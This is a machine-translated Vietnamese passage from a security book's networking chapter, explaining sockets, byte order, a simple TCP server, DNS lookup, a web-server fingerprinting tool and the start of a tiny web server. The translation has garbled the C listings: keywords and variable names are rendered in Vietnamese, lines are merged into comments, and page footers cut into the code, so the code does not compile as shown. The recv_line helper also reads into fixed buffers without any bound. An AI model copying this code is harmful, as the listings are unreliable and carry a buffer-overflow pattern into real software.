cấu trúc sockaddr_in (Được sử dụng cho IP phiên bản 4)
Gia đình
Cổng số
Địa chỉ IP
Đệm thêm (8 byte)
Cả hai cấu trúc đều có cùng kích thước.
0x423 Thứ tự byte mạng
Số cổng và địa chỉ IP được sử dụng trong cấu trúc địa chỉ socket AF_INET được mong
đợi sẽ tuân theo thứ tự byte mạng, là big-endian. Điều này ngược lại với thứ tự byte
little-endian của x86, vì vậy các giá trị này phải được chuyển đổi. Có một số hàm
dành riêng cho các chuyển đổi này, các nguyên mẫu của chúng được định nghĩa trong
các tệp include netinet/in.h và arpa/inet.h. Sau đây là tóm tắt về các hàm chuyển
đổi thứ tự byte phổ biến này:
htonl( giá trị dài) Host-to-Network Long
Chuyển đổi số nguyên 32 bit từ thứ tự byte của máy chủ sang thứ tự byte của mạng
202 0x400
Machine Translated by Google
htons( giá trị ngắn) Host-to-Network Ngắn
Chuyển đổi số nguyên 16 bit từ thứ tự byte của máy chủ sang thứ tự byte của mạng
ntohl( giá trị dài) Mạng-đến-Máy chủ Dài
Chuyển đổi số nguyên 32 bit từ thứ tự byte mạng sang thứ tự byte của máy chủ
ntohs( giá trị dài) Mạng-đến-Máy chủ Ngắn
Chuyển đổi số nguyên 16 bit từ thứ tự byte mạng sang thứ tự byte của máy chủ
Để tương thích với mọi kiến trúc, các hàm chuyển đổi này vẫn nên được sử dụng ngay cả khi máy chủ
đang sử dụng bộ xử lý có thứ tự byte theo kiểu big-endian.
0x424 Chuyển đổi địa chỉ Internet
Khi bạn thấy 12.110.110.204, có lẽ bạn nhận ra đây là địa chỉ Internet (IP phiên bản 4). Ký hiệu số
chấm quen thuộc này là cách phổ biến để chỉ định địa chỉ Internet và có các hàm để chuyển đổi ký hiệu này
sang và từ số nguyên 32 bit theo thứ tự byte mạng. Các hàm này được định nghĩa trong tệp include arpa/
inet.h và hai hàm chuyển đổi hữu ích nhất là:
inet_aton(char *ascii_addr, struct in_addr *network_addr)
ASCII đến Mạng
Hàm này chuyển đổi chuỗi ASCII chứa địa chỉ IP theo định dạng số chấm thành cấu trúc in_addr , mà
như bạn nhớ, chỉ chứa số nguyên 32 bit biểu diễn địa chỉ IP theo thứ tự byte mạng.
inet_ntoa(cấu trúc in_addr *network_addr)
Mạng đến ASCII
Hàm này chuyển đổi theo cách khác. Nó được truyền một con trỏ đến một in_addr
cấu trúc chứa địa chỉ IP và hàm trả về một con trỏ ký tự đến chuỗi ASCII chứa địa chỉ IP ở định dạng
số chấm. Chuỗi này được lưu trong bộ đệm bộ nhớ được phân bổ tĩnh trong hàm, do đó có thể truy cập
cho đến lần gọi tiếp theo đến inet_ntoa(), khi đó chuỗi sẽ bị ghi đè.
0x425 Một ví dụ đơn giản về máy chủ
Cách tốt nhất để chỉ ra cách sử dụng các hàm này là bằng ví dụ. Mã máy chủ sau đây lắng nghe các kết nối
TCP trên cổng 7890. Khi máy khách kết nối, nó sẽ gửi thông báo Hello, world! và sau đó nhận dữ liệu cho
đến khi kết nối bị đóng. Điều này được thực hiện bằng cách sử dụng các hàm socket và cấu trúc từ các tệp
include đã đề cập trước đó, do đó các tệp này được include vào đầu chương trình. Một hàm dump bộ nhớ hữu
ích đã được thêm vào hacking.h, được hiển thị ở trang sau.
Mạng lưới 203
Machine Translated by Google
Đã thêm vào hacking.h
// Dump bộ nhớ thô ở dạng byte hex và định dạng phân chia có thể in được void
dump(const unsigned char *data_buffer, const unsigned int length) { unsigned char byte; unsigned int i,
j; for(i=0; i < length; i+
+) { byte = data_buffer[i];
printf("%02x ", data_buffer[i]); //
Hiển thị byte ở dạng hex.
if(((i%16)==15) || (i==length-1)) { for(j=0; j < 15-(i%16); j++) printf(" ");
printf("| "); for(j=(i-(i%16)); j <= i; j++) { //
Hiển thị byte có thể in được từ dòng.
byte = data_buffer[j];
if((byte > 31) &&
(byte < 127)) // Ngoài phạm vi char có thể in được printf("%c", byte); nếu không thì printf(".");
} printf("\n"); // Kết thúc dòng dump (mỗi dòng có 16 byte)
} // Kết thúc nếu
} // Kết thúc cho
}
Chức năng này được sử dụng để hiển thị dữ liệu gói tin của chương trình máy chủ.
Tuy nhiên, vì nó cũng hữu ích ở những nơi khác, nên nó đã được đưa vào hacking.h. Phần còn lại của
chương trình máy chủ sẽ được giải thích khi bạn đọc mã nguồn.
Máy chủ đơn giản.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "hacking.h"
#define PORT 7890 // Cổng mà người dùng sẽ kết nối tới
int main(void)
{ int sockfd, new_sockfd; // Lắng nghe trên sock_fd, kết nối mới trên new_fd
struct sockaddr_in host_addr, client_addr; // Thông tin địa chỉ của tôi
socklen_t sin_size;
int recv_length=1, yes=1;
char buffer[1024];
nếu ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
204 0x400
Machine Translated by Google
fatal("trong ổ cắm");
nếu (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
fatal("cài đặt tùy chọn ổ cắm SO_REUSEADDR");
Cho đến nay, chương trình thiết lập một socket bằng hàm socket() . Chúng ta muốn một socket
TCP/IP, vì vậy họ giao thức là PF_INET cho IPv4 và loại socket là SOCK_STREAM cho socket luồng.
Đối số protocol cuối cùng là 0, vì chỉ có một protocol trong họ giao thức PF_INET . Hàm này trả
về một mô tả tệp socket được lưu trữ trong sockfd.
Hàm setsockopt() chỉ được sử dụng để thiết lập tùy chọn socket. Lệnh gọi hàm này thiết lập
tùy chọn socket SO_REUSEADDR thành true, cho phép nó tái sử dụng một địa chỉ nhất định để liên
kết. Nếu không thiết lập tùy chọn này, khi chương trình cố gắng liên kết với một cổng nhất định,
nó sẽ thất bại nếu cổng đó đã được sử dụng. Nếu một socket không được đóng đúng cách, nó có thể
xuất hiện như đang được sử dụng, do đó tùy chọn này cho phép một socket liên kết với một cổng
(và tiếp quản quyền kiểm soát cổng đó), ngay cả khi nó có vẻ như đang được sử dụng.
Đối số đầu tiên của hàm này là socket (được tham chiếu bởi một mô tả tệp), đối số thứ
hai chỉ định mức của tùy chọn và đối số thứ ba chỉ định chính tùy chọn đó. Vì SO_REUSEADDR là
tùy chọn mức socket, nên mức được đặt thành SOL_SOCKET. Có nhiều tùy chọn socket khác nhau được
định nghĩa trong /usr/include/
asm/socket.h. Hai đối số cuối cùng là một con trỏ đến dữ liệu mà tùy chọn nên được đặt thành
và độ dài của dữ liệu đó. Một con trỏ đến dữ liệu và độ dài của dữ liệu đó là hai đối số thường
được sử dụng với các hàm socket. Điều này cho phép các hàm xử lý mọi loại dữ liệu, từ các
byte đơn đến các cấu trúc dữ liệu lớn. Các tùy chọn SO_REUSEADDR sử dụng số nguyên 32 bit cho
giá trị của nó, do đó để đặt tùy chọn này thành đúng, hai đối số cuối cùng phải là một con trỏ
đến giá trị số nguyên là 1 và kích thước của một số nguyên (là 4 byte).
host_addr.sin_family = AF_INET; // Thứ tự byte máy chủ
host_addr.sin_port = htons(PORT); // Ngắn, thứ tự byte mạng
host_addr.sin_addr.s_addr = 0; // Tự động điền IP của tôi.
memset(&(host_addr.sin_zero), '\0', 8); // Đặt giá trị 0 cho phần còn lại của struct.
nếu (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)
fatal("liên kết với ổ cắm");
nếu (lắng nghe(sockfd, 5) == -1)
fatal("đang lắng nghe trên socket");
Vài dòng tiếp theo thiết lập cấu trúc host_addr để sử dụng trong lệnh gọi bind.
Họ địa chỉ là AF_INET, vì chúng tôi đang sử dụng IPv4 và sockaddr_in
structure. Cổng được đặt thành PORT, được định nghĩa là 7890. Giá trị số nguyên ngắn này phải
được chuyển đổi thành thứ tự byte mạng, do đó hàm htons() được sử dụng. Địa chỉ được đặt thành
0, nghĩa là nó sẽ tự động được điền bằng địa chỉ IP hiện tại của máy chủ. Vì giá trị 0 giống
nhau bất kể thứ tự byte, nên không cần chuyển đổi.
Lệnh bind() truyền mô tả tệp socket, cấu trúc địa chỉ và độ dài của cấu trúc địa chỉ.
Lệnh này sẽ liên kết socket với địa chỉ IP hiện tại trên cổng 7890.
Mạng lưới 205
Machine Translated by Google
Cuộc gọi listen() yêu cầu socket lắng nghe các kết nối đến và
một lệnh gọi accept() tiếp theo thực sự chấp nhận một kết nối đến. Hàm
listen() đặt tất cả các kết nối đến vào hàng đợi tồn đọng cho đến khi lệnh
gọi accept() chấp nhận các kết nối. Đối số cuối cùng của lệnh gọi listen()
đặt kích thước tối đa cho hàng đợi tồn đọng.
while(1) { // Chấp nhận vòng lặp.
sin_size = sizeof(cấu trúc sockaddr_in);
new_sockfd = chấp nhận(sockfd, (struct sockaddr *)&client_addr, &sin_size);
nếu(new_sockfd == -1)
fatal("đang chấp nhận kết nối");
printf("máy chủ: đã có kết nối từ cổng %s %d\n",
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
send(new_sockfd, "Xin chào thế giới!\n", 13, 0);
recv_length = recv(new_sockfd, &buffer, 1024, 0);
trong khi(độ dài nhận được > 0) {
printf("RECV: %d byte\n", recv_length);
dump(bộ đệm, độ dài recv);
recv_length = recv(new_sockfd, &buffer, 1024, 0);
}
đóng(new_sockfd);
}
trả về 0;
}
Tiếp theo là một vòng lặp chấp nhận các kết nối đến. Hai đối số đầu tiên
của hàm accept() phải có ý nghĩa ngay lập tức; đối số cuối cùng là một con
trỏ đến kích thước của cấu trúc địa chỉ. Điều này là do hàm accept() sẽ ghi
thông tin địa chỉ của máy khách đang kết nối vào cấu trúc địa chỉ và kích
thước của cấu trúc đó vào sin_size. Đối với mục đích của chúng ta, kích thước
không bao giờ thay đổi, nhưng để sử dụng hàm, chúng ta phải tuân theo quy
ước gọi hàm. Hàm accept() trả về một mô tả tệp socket mới cho kết nối được
chấp nhận. Theo cách này, mô tả tệp socket ban đầu có thể tiếp tục được
sử dụng để chấp nhận các kết nối mới, trong khi mô tả tệp socket mới được sử
dụng để giao tiếp với máy khách đã kết nối.
Sau khi nhận được kết nối, chương trình sẽ in ra thông báo kết nối, sử
dụng inet_ntoa() để chuyển đổi cấu trúc địa chỉ sin_addr thành chuỗi IP có
số chấm và ntohs() để chuyển đổi thứ tự byte của số sin_port .
Hàm send() gửi 13 byte của chuỗi Hello, world!\n đến
socket mới mô tả kết nối mới. Đối số cuối cùng cho các hàm send() và recv()
là cờ, đối với mục đích của chúng tôi, sẽ luôn là 0.
Tiếp theo là vòng lặp nhận dữ liệu từ kết nối và in ra.
Hàm recv() được cung cấp một con trỏ đến một bộ đệm và độ dài tối đa để đọc
từ socket. Hàm ghi dữ liệu vào bộ đệm được truyền cho nó và trả về số byte
mà nó thực sự đã ghi. Vòng lặp sẽ tiếp tục miễn là lệnh gọi recv() tiếp tục
nhận dữ liệu.
206 0x400
Machine Translated by Google
Khi biên dịch và chạy, chương trình liên kết với cổng 7890 của máy chủ và
chờ kết nối đến:
reader@hacking:~/booksrc $ gcc simple_server.c
reader@hacking:~/booksrc $ ./a.out
Về cơ bản, máy khách telnet hoạt động giống như máy khách kết nối TCP chung,
do đó có thể sử dụng để kết nối với máy chủ đơn giản bằng cách chỉ định địa chỉ IP
và cổng đích.
Từ một máy từ xa
ma trận@euclid:~ $ telnet 192.168.42.248 7890
Đang thử 192.168.42.248...
Đã kết nối tới 192.168.42.248.
Ký tự thoát là '^]'.
Xin chào thế giới!
đây là một bài kiểm tra
fjsghau;ehg;ihskjfhasdkfjhaskjvhfdkjhvbkjgf
Khi kết nối, máy chủ sẽ gửi chuỗi Hello, world!, và phần còn lại là ký tự
cục bộ echo của tôi khi tôi gõ đây là một bài kiểm tra và một dòng gõ bàn phím.
Vì telnet được đệm dòng, mỗi dòng trong hai dòng này được gửi lại máy chủ khi
nhấn ENTER . Quay lại phía máy chủ, đầu ra hiển thị kết nối và các gói dữ liệu
được gửi lại.
Trên máy cục bộ
reader@hacking:~/booksrc $ ./a.out máy
chủ: đã có kết nối từ 192.168.42.1 cổng 56971
RECV: 16 byte
74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | Đây là một bài kiểm tra...
RECV: 45 byte
66 6a 73 67 68 61 75 3b 65 68 67 3b 69 68 73 6b | fjsghau;ehg;ihsk
6a 66 68 61 73 64 6b 66 6a 68 61 73 6b 6a 76 68 | jfhasdkfjhaskjvh
66 64 6b 6a 68 76 62 6b 6a 67 66 0d 0a
| fdkjhvbkjgf...
0x426 Một ví dụ về Web Client
Chương trình telnet hoạt động tốt như một máy khách cho máy chủ của chúng tôi,
vì vậy thực sự không có nhiều lý do để viết một máy khách chuyên dụng. Tuy
nhiên, có hàng ngàn loại máy chủ khác nhau chấp nhận các kết nối TCP/IP chuẩn.
Mỗi khi bạn sử dụng trình duyệt web, nó sẽ tạo kết nối đến một máy chủ web ở đâu đó.
Kết nối này truyền trang web qua kết nối bằng HTTP, định nghĩa một cách nhất
định để yêu cầu và gửi thông tin. Theo mặc định, máy chủ web chạy trên cổng
80, được liệt kê cùng với nhiều cổng mặc định khác trong /etc/services.
Mạng lưới 207
Machine Translated by Google
Từ /etc/services
ngón tay
79/tcp
ngón tay
79/udp
http
80/tcp www www-http # Mạng lưới toàn cầu HTTP
# Ngón tay
HTTP tồn tại ở lớp ứng dụng—lớp trên cùng—của mô hình OSI.
Ở lớp này, tất cả các chi tiết về mạng đã được các lớp thấp hơn xử lý, vì
vậy HTTP sử dụng văn bản thuần túy làm cấu trúc của nó. Nhiều giao
thức lớp ứng dụng khác cũng sử dụng văn bản thuần túy, chẳng hạn như POP3,
SMTP, IMAP và kênh điều khiển FTP. Vì đây là các giao thức chuẩn, nên tất
cả đều được ghi chép đầy đủ và dễ nghiên cứu. Khi bạn biết cú pháp của các
giao thức khác nhau này, bạn có thể trao đổi thủ công với các chương trình
khác nói cùng ngôn ngữ. Không cần phải thông thạo, nhưng biết một vài cụm
từ quan trọng sẽ giúp bạn khi đi đến các máy chủ nước ngoài. Trong ngôn
ngữ HTTP, các yêu cầu được thực hiện bằng lệnh GET, theo sau là đường dẫn
tài nguyên và phiên bản giao thức HTTP. Ví dụ: GET / HTTP/1.0 sẽ yêu cầu tài
liệu gốc từ máy chủ web bằng phiên bản HTTP 1.0. Yêu cầu thực sự dành cho
thư mục gốc của /, nhưng hầu hết các máy chủ web sẽ tự động tìm kiếm tài
liệu HTML mặc định trong thư mục đó của index.html. Nếu máy chủ tìm thấy tài
nguyên, nó sẽ phản hồi bằng HTTP bằng cách gửi một số tiêu đề trước khi
gửi nội dung. Nếu lệnh HEAD được sử dụng thay cho GET, nó sẽ chỉ trả về các
tiêu đề HTTP mà không có nội dung. Các tiêu đề này là văn bản thuần túy và
thường có thể cung cấp thông tin về máy chủ. Các tiêu đề này có thể được
truy xuất thủ công bằng telnet bằng cách kết nối đến cổng 80 của một trang
web đã biết, sau đó nhập HEAD / HTTP/1.0 và nhấn ENTER hai lần. Trong đầu ra
bên dưới, telnet được sử dụng để mở kết nối TCP-IP đến máy chủ web tại http://
www.internic.net. Sau đó, lớp ứng dụng HTTP được nói thủ công để yêu
cầu các tiêu đề cho trang chỉ mục chính.
reader@hacking:~/booksrc $ telnet www.internic.net 80
Đang thử 208.77.188.101...
Đã kết nối với www.internic.net.
Ký tự thoát là '^]'.
ĐẦU / HTTP/1.0
HTTP/1.1 200 Đồng ý
Ngày: Thứ sáu, ngày 14 tháng 9 năm 2007 05:34:14 GMT
Máy chủ: Apache/2.0.52 (CentOS)
Phạm vi chấp nhận: byte
Nội dung-Độ dài: 6743
Kết nối: đóng
Loại nội dung: text/html; charset=UTF-8
Kết nối bị đóng bởi máy chủ nước ngoài.
người đọc@hacking:~/booksrc $
208 0x400
Machine Translated by Google
Điều này cho thấy máy chủ web là Apache phiên bản 2.0.52 và thậm chí máy chủ
chạy CentOS. Điều này có thể hữu ích cho việc lập hồ sơ, vì vậy hãy viết một
chương trình tự động hóa quy trình thủ công này.
Một số chương trình tiếp theo sẽ gửi và nhận rất nhiều dữ liệu. Vì các hàm
socket chuẩn không thân thiện lắm, chúng ta hãy viết một số hàm để gửi và nhận dữ
liệu. Các hàm này, được gọi là send_string() và recv_line(), sẽ được thêm vào tệp
include mới có tên là hacking-network.h.
Hàm send() thông thường trả về số byte đã ghi, không phải lúc nào cũng bằng
số byte bạn đã thử gửi. Hàm send_string()
hàm chấp nhận một socket và một con trỏ chuỗi làm đối số và đảm bảo toàn bộ chuỗi
được gửi qua socket. Nó sử dụng strlen() để tính ra tổng chiều dài của chuỗi được
truyền vào nó.
Bạn có thể đã nhận thấy rằng mọi gói tin mà máy chủ đơn giản nhận được đều kết
thúc bằng các byte 0x0D và 0x0A. Đây là cách telnet kết thúc các dòng—nó gửi một ký
tự xuống dòng và một ký tự xuống dòng. Giao thức HTTP cũng mong đợi các dòng được
kết thúc bằng hai byte này. Một cái nhìn nhanh vào bảng ASCII cho thấy 0x0D là một
ký tự xuống dòng ('\r') và 0x0A là ký tự xuống dòng ('\n').
reader@hacking:~/booksrc $ man ascii | egrep "Hex|0A|0D"
Đang định dạng lại ascii(7), vui lòng đợi...
Tháng Mười Hai Hex Char
012 10
0A
015 13
0 ngày
Tháng Mười Hai Hex Char
LF '\n' (dòng mới)
112 74 4A J
CR '\r' (carriage ret)
115 77
4 chiều
Tôi
reader@hacking:~/booksrc $
Hàm recv_line() đọc toàn bộ các dòng dữ liệu. Nó đọc từ socket được truyền như
đối số đầu tiên vào bộ đệm a mà đối số thứ hai trỏ tới. Nó tiếp tục nhận từ socket
cho đến khi gặp hai byte kết thúc dòng cuối cùng theo trình tự. Sau đó, nó kết thúc
chuỗi và thoát khỏi hàm. Các hàm mới này đảm bảo rằng tất cả các byte được gửi và
nhận dữ liệu dưới dạng các dòng được kết thúc bằng '\r\n'. Chúng được liệt kê bên
dưới trong tệp include mới có tên hacking-network.h.
hack-mạng.h
/* Hàm này chấp nhận một socket FD và một ptr đến null đã kết thúc
*
chuỗi để gửi. Hàm sẽ đảm bảo tất cả các byte của
*
chuỗi được gửi. Trả về 1 nếu thành công và 0 nếu thất bại.
*/
int send_string(int sockfd, unsigned char *buffer) {
int đã gửi_byte, byte_cần_gửi;
bytes_to_send = strlen(bộ đệm);
trong khi(byte_cần_gửi > 0) {
sent_bytes = gửi(sockfd, bộ đệm, byte_cần_gửi, 0);
nếu(số_byte đã_gửi == -1)
trả về 0; // Trả về 0 khi gửi lỗi.
Mạng lưới 209
Machine Translated by Google
byte_cần_gửi -= byte_đã_gửi;
bộ đệm += số byte đã gửi;
}
trả về 1; // Trả về 1 nếu thành công.
}
/* Hàm này chấp nhận một socket FD và một ptr đến đích
* bộ đệm. Nó sẽ nhận từ ổ cắm cho đến khi byte EOL
*
trình tự được nhìn thấy. Các byte EOL được đọc từ ổ cắm, nhưng
* bộ đệm đích bị chấm dứt trước các byte này.
* Trả về kích thước của dòng đã đọc (không tính byte EOL).
*/
int recv_line(int sockfd, ký tự không dấu *dest_buffer) {
#define EOL "\r\n" // Chuỗi byte cuối dòng
#define KÍCH THƯỚC EOL 2
ký tự không dấu *ptr;
int eol_matched = 0;
ptr = bộ đệm đích;
while(recv(sockfd, ptr, 1, 0) == 1) { // Đọc một byte đơn.
if(*ptr == EOL[eol_matched]) { // Byte này có khớp với terminator không?
eol_matched++;
if(eol_matched == EOL_SIZE) { // Nếu tất cả các byte đều khớp với terminator,
*(ptr+1-EOL_SIZE) = '\0'; // kết thúc chuỗi.
return strlen(dest_buffer); // Trả về các byte đã nhận
}
} khác {
eol_matched = 0;
}
ptr++; // Tăng con trỏ đến byte tiếp theo.
}
return 0; // Không tìm thấy ký tự kết thúc dòng.
}
Việc tạo kết nối socket đến một địa chỉ IP số khá đơn giản nhưng địa chỉ được đặt
tên thường được sử dụng vì sự tiện lợi. Trong yêu cầu HTTP HEAD thủ công , chương trình
telnet tự động thực hiện tra cứu DNS (Dịch vụ tên miền) để xác định rằng www.internic.net
được dịch thành địa chỉ IP 192.0.34.161. DNS là một giao thức cho phép tra cứu địa chỉ
IP bằng một địa chỉ được đặt tên, tương tự như cách tra cứu số điện thoại trong danh bạ
điện thoại nếu bạn biết tên. Đương nhiên, có các hàm và cấu trúc liên quan đến socket
dành riêng cho việc tra cứu tên máy chủ thông qua DNS. Các hàm và cấu trúc này được định
nghĩa trong netdb.h. Một hàm có tên là gethostbyname() lấy một con trỏ đến một chuỗi
chứa một địa chỉ được đặt tên và trả về một con trỏ đến một hostent
cấu trúc hoặc con trỏ NULL khi có lỗi. Cấu trúc hostent được điền thông tin từ tra
cứu, bao gồm địa chỉ IP dạng số nguyên 32 bit theo thứ tự byte mạng. Tương tự như hàm
inet_ntoa() , bộ nhớ cho cấu trúc này được phân bổ tĩnh trong hàm. Cấu trúc này được
hiển thị bên dưới, như được liệt kê trong netdb.h.
210 0x400
Machine Translated by Google
Từ /usr/include/netdb.h
/* Mô tả mục nhập cơ sở dữ liệu cho một máy chủ duy nhất. */ struct hostent {
char *h_name;
/* Tên chính thức của máy chủ. */
char **h_aliases; /* Danh sách bí danh. */
int h_addrtype; /* Kiểu địa chỉ máy chủ. */ int
h_length; /* Độ dài của địa chỉ. */ char
**h_addr_list; /* Danh sách các địa chỉ từ máy chủ tên. */ #define h_addr
h_addr_list[0] /* Địa chỉ, để tương thích ngược. */ };
Đoạn mã sau đây minh họa cách sử dụng hàm gethostbyname() .
host_lookup.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "hacking.h"
int main(int argc, char *argv[]) { struct
hostent *host_info; struct
in_addr *address;
if(argc < 2)
{ printf("Cách sử dụng: %s <tên máy chủ>\n",
argv[0]); exit(1);
}
host_info = gethostbyname(argv[1]);
if(host_info == NULL)
{ printf("Không thể tra cứu %s\n", argv[1]); }
else
{ address = (struct in_addr *) (host_info->h_addr);
printf("%s có địa chỉ %s\n", argv[1], inet_ntoa(*address));
}
}
Chương trình này chấp nhận hostname làm đối số duy nhất và in ra địa chỉ
IP. Hàm gethostbyname() trả về một con trỏ đến một cấu trúc hostent , chứa
địa chỉ IP trong phần tử h_addr. Một con trỏ đến phần tử này được ép kiểu
thành một con trỏ in_addr , sau đó được hủy tham chiếu để gọi đến inet_ntoa(),
mong đợi một cấu trúc in_addr làm đối số của nó. Đầu ra chương trình mẫu
được hiển thị trên trang sau.
Mạng lưới 211
Machine Translated by Google
reader@hacking:~/booksrc $ gcc -o host_lookup host_lookup.c
reader@hacking:~/booksrc $ ./host_lookup www.internic.net
www.internic.net có địa chỉ 208.77.188.101
reader@hacking:~/booksrc $ ./host_lookup www.google.com
www.google.com có địa chỉ 74.125.19.103
reader@hacking:~/booksrc $
Sử dụng các hàm socket để xây dựng trên điều này, tạo ra một nhận dạng máy chủ web
chương trình không khó đến thế.
webserver_id.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "hacking.h"
#include "hacking-network.h"
int main(int argc, char *argv[]) { int
sockfd;
struct hostent *host_info;
struct sockaddr_in target_addr; bộ
đệm char không dấu[4096];
if(argc < 2)
{ printf("Cách sử dụng: %s <tên máy chủ>\n",
argv[0]); exit(1);
}
if((host_info = gethostbyname(argv[1])) == NULL)
fatal("đang tìm kiếm tên máy chủ");
nếu ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("trong socket");
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(80);
target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
memset(&(target_addr.sin_zero), '\0', 8); // Đặt phần còn lại của struct về 0.
nếu (kết nối(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("đang
kết nối tới máy chủ mục tiêu");
gửi_chuỗi(sockfd, "HEAD / HTTP/1.0\r\n\r\n");
212 0x400
Machine Translated by Google
trong khi(recv_line(sockfd, bộ đệm)) {
nếu(strncasecmp(bộ đệm, "Máy chủ:", 7) == 0) {
printf("Máy chủ web cho %s là %s\n", argv[1], buffer+8);
thoát(0);
}
}
printf("Không tìm thấy dòng máy chủ\n");
thoát(1);
}
Hầu hết đoạn mã này giờ đây có thể hiểu được với bạn. Phần tử sin_addr của
cấu trúc target_addr được điền bằng địa chỉ từ cấu trúc host_info bằng cách ép
kiểu và sau đó hủy tham chiếu như trước (nhưng lần này được thực hiện trong một
dòng duy nhất). Hàm connect() được gọi để kết nối với cổng 80 của máy chủ đích,
chuỗi lệnh được gửi và chương trình lặp lại để đọc từng dòng vào bộ đệm. Hàm
strncasecmp() là hàm so sánh chuỗi từ strings.h. Hàm này so sánh n byte đầu tiên
của hai chuỗi, bỏ qua chữ hoa. Hai đối số đầu tiên là con trỏ đến chuỗi và đối
số thứ ba là n, số byte cần so sánh. Hàm sẽ trả về 0 nếu các chuỗi khớp nhau, do
đó câu lệnh if đang tìm kiếm dòng bắt đầu bằng "Server:". Khi tìm thấy, nó sẽ xóa
tám byte đầu tiên và in thông tin phiên bản máy chủ web. Danh sách sau đây hiển
thị quá trình biên dịch và thực thi chương trình.
reader@hacking:~/booksrc $ gcc -o webserver_id webserver_id.c
reader@hacking:~/booksrc $ ./webserver_id www.internic.net
Máy chủ web cho www.internic.net là Apache/2.0.52 (CentOS)
reader@hacking:~/booksrc $ ./webserver_id www.microsoft.com
Máy chủ web cho www.microsoft.com là Microsoft-IIS/7.0
người đọc@hacking:~/booksrc $
0x427 Máy chủ Tinyweb
Máy chủ web không cần phải phức tạp hơn nhiều so với máy chủ đơn giản mà chúng
ta đã tạo ở phần trước. Sau khi chấp nhận kết nối TCP-IP, máy chủ web cần triển
khai thêm các lớp giao tiếp bằng giao thức HTTP.
Mã máy chủ được liệt kê bên dưới gần giống với máy chủ đơn giản, ngoại trừ
mã xử lý kết nối được tách thành hàm riêng. Hàm này xử lý các yêu cầu HTTP GET
và HEAD đến từ trình duyệt web.
Chương trình sẽ tìm kiếm tài nguyên được yêu cầu trong thư mục cục bộ có tên là webroot và gửi đến trình
duyệt. Nếu không tìm thấy tệp, máy chủ sẽ phản hồi bằng phản hồi HTTP 404. Bạn có thể đã quen với phản
hồi này, có nghĩa là Không tìm thấy tệp. Danh sách mã nguồn đầy đủ như sau.
Mạng lưới 213
Machine Translated by Google
tinyweb.c
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "hacking.h"
#include "hacking-network.h"
#define PORT 80 // Người dùng cổng sẽ kết nối tới #define WEBROOT "./
webroot" // Thư mục gốc của máy chủ web
void handle_connection(int, struct sockaddr_in *); // Xử lý các yêu cầu web int
get_file_size(int); // Trả về kích thước tệp của mô tả tệp đang mở
int main(void)
{ int sockfd, new_sockfd, yes=1;
struct sockaddr_in host_addr, client_addr; // Thông tin địa chỉ của tôi socklen_t
sin_size;
printf("Đang chấp nhận yêu cầu web trên cổng %d\n", PORT);
nếu ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("trong
socket");
nếu (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) fatal("cài đặt
tùy chọn ổ cắm SO_REUSEADDR");
host_addr.sin_family = AF_INET; // Thứ tự byte của máy chủ
host_addr.sin_port = htons(PORT); // Ngắn, thứ tự byte mạng
host_addr.sin_addr.s_addr = INADDR_ANY; // Tự động điền bằng IP của tôi.
memset(&(host_addr.sin_zero), '\0', 8); // Đặt phần còn lại của struct về 0.
nếu (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)
fatal("liên kết với ổ cắm");
nếu (lắng nghe(sockfd, 20) == -1)
fatal("đang lắng nghe trên socket");
while(1) { // Vòng lặp chấp nhận.
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd
== -1) fatal("đang chấp
nhận kết nối");
xử lý_kết_nối(sockfd_mới, &client_addr);
} trả về 0;
214 0x400
Machine Translated by Google
}
/* Hàm này xử lý kết nối trên socket đã truyền từ * địa chỉ máy khách đã truyền. Kết nối được
xử lý như một yêu cầu web, * và hàm này trả lời qua socket đã kết nối. Cuối cùng, socket đã truyền
được * đóng lại ở cuối hàm. */
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) {
unsigned char *ptr, yêu cầu[500], tài nguyên[500]; int
fd, độ dài;
chiều dài = recv_line(sockfd, yêu cầu);
printf("Đã nhận được yêu cầu từ %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),
ntohs(client_addr_ptr->sin_port), yêu cầu);
ptr = strstr(request, " HTTP/"); // Tìm kiếm yêu cầu có vẻ hợp lệ. if(ptr ==
NULL) { // Vậy thì đây không phải là HTTP hợp lệ.
printf(" NOT HTTP!\n"); }
else
{ *ptr = 0; // Kết thúc bộ đệm ở cuối URL. ptr = NULL; // Đặt
ptr thành NULL (được sử dụng để đánh dấu yêu cầu không hợp lệ).
if(strncmp(request, "GET ", 4) == 0) // Yêu cầu GET
ptr = request+4; // ptr là URL.
if(strncmp(request, "HEAD ", 5) == 0) // yêu cầu HEAD
ptr = request+5; // ptr là URL.
if(ptr == NULL) { // Vậy thì đây không phải là một yêu cầu được công nhận.
printf("\tUNKNOWN REQUEST!\n"); }
else { // Yêu cầu hợp lệ, với ptr trỏ đến tên tài nguyên
if (ptr[strlen(ptr) - 1] == '/') // Đối với các tài nguyên có đuôi là '/', strcat(ptr, "index.html"); //
